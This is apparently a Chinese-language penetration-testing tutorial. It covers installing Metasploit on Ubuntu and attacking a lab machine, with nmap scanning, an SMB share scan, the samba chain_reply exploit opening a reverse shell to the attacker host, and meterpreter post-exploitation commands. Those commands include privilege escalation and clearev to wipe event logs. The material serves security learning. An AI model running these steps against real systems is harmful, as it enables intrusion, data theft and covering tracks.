实践代码教你学会 Metasploit 渗透攻击【Ubuntu版本】

一. Metasploit 渗透工具

---

Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程

二. 安装配置

切换至准备下载软件的目录下

cd /opt

下载

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

msf默认使用的PostgreSQL数据库不能与root用户关联，所以我们需要添加新用户msf，并且每次启动msf，都需要切换用户，否则数据库无法同步

# 添加msf用户
adduser msf
# 切换到msf用户
su msf
# 切换到msf所在的目录
cd  /opt/metasploit-framework/bin
# 启动msfconsole
./msfconsole

可将metasploit添加至执行目录，往后在任何目录直接msfconsole就可以

ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole

更新msf（可选）

# MSF后期更新升级
msfupdate

三. 模块讲解

3.1 auxiliary-辅助模块

---

辅助模块

该模块不会直接在测试者和目标主机之间建立访问，它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。

查看辅助模块

show auxiliary/xxx

3.2 exploit-渗透攻击模块

---

渗透攻击模块

是利用发现的安全漏洞或配置弱点对远程目标进行攻击，以植入和运行攻击载荷，从而获得对远程目标系统访问的一个代码模块

查看不同系统的可利用漏洞

search exploits/xxxx

3.3 payload-攻击荷载模块

---

攻击荷载模块

攻击载荷是渗透目标系统之后完成实际攻击功能的代码，用于在目标系统上运行任意命令或者执行特定代码。

查看可用代码

# 查看可用代码
search payloads/xxxx

组成

• Single：完全独立的Payload，运行简单，例如添加一个系统用户或删除一份文件。

  • 格式：形如target/single ，如：windows/powershell_bind_tcp

• Stager：负责建立目标用户与攻击者之间的网络连接，并下载额外的组件或应用程序。

• Stage：是Stager下的一种组件，可以提供更加高级的功能

  • 格式：形如target/stage/stager， 如：windows/meterpreter/reverse_tcp，包含一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp)组成。

四. 模拟攻击

4.1 准备工作

---

被渗透机器：10.137.5.2，先给被渗透的机器安装一些服务，便于被发现

apt-get install vsftpd
apt-get install openssh-server
apt-get install telnet
apt-get install postfix
apt-get install samba

攻击机器为：10.137.5.1，安装namp用作服务和端口扫描

apt-get install nmap

开始扫描目标机器，注意要在root权限下运行命令

# -sS：表示这是一个基本的扫描方式,Nmap发送SYN包到远程主机，但不会在目标主机上产生任何日志记录
# -sV：用来扫描目标主机和端口上运行的软件的版本
# -n：不进行dns解析操作
nmap -sS -sV -n 10.137.5.2

表示总共运行了如下服务和开启如下端口

服务	端口
vsftpd	21
Openssh	22
smtpd	25
samba	139 和 445

4.2 漏洞探测

---

首先进入框架

msfconsole

假设利用samba服务渗透，搜索相关扫描漏洞，选择一个漏洞进行渗透

search scanner/smb

选择漏洞探测，一般Auxiliary就是负责执行扫描

use auxiliary/scanner/smb/smb_enumshares

查看该模块所需的配置信息

show options

设置要探测的远程目标

set rhosts 10.137.5.2

对该主机进行渗透攻击，正常情况下，有+号的就是可能存在漏洞的主机

exploit

4.3 漏洞利用

---

查找利用漏洞

search linux/samba

选择漏洞攻击

use linux/samba/chain_reply

查看设置参数

show options

可以看见我们只需要设置探测的远程目标即可

set rhosts 10.137.5.2

可以看见，已默认选择了一种攻击方式linux/x86/meterpreter/reverse_tcp

如果不满意，可以查看攻击荷载

show  payloads

再额外设置攻击荷载，记住要选择了linux版本，例如

set payload payload/linux/x86/shell_bind_tcp

再次查看需配置参数，发现已经被更改

show options

其中lport，表示反弹shell到我们主机的这个端口

设置回弹主机地址

set lhost 10.137.5.1

进行攻击

exploit

理论上，在这里就已经攻击成功，但是由于版本更新的问题，很多软件已经被修复漏洞，根本无法成功渗透，如需成功渗透，可尝试使用低版本的软件或系统

4.4 后渗透操作

---

运行成功之后，我们将会看到命令提示符 meterpreter > 出现，输入shell进入目标主机终端

shell

退出终端，回到meterpreter

exit

在meterpreter下，我们可以进行如下操作

命令	含义	命令	含义
sysinfo	查看主机消息	pwd	查看当前目录
cd	切换文件夹	cat	查看文件内容
rm	删除文件	edit	编辑文件
ls	查看文件详情	mkdir	创建目录
download file	下载文件	upload file	上传文件
screenshot	截图	getsystem	权限提升

使用完毕getsystem，清除操作日志

clearev

挂载getsystem ，回到msf框架

background

查看保存的shell会话

sessions -l

输入session [id]即可再次进入终端

session 2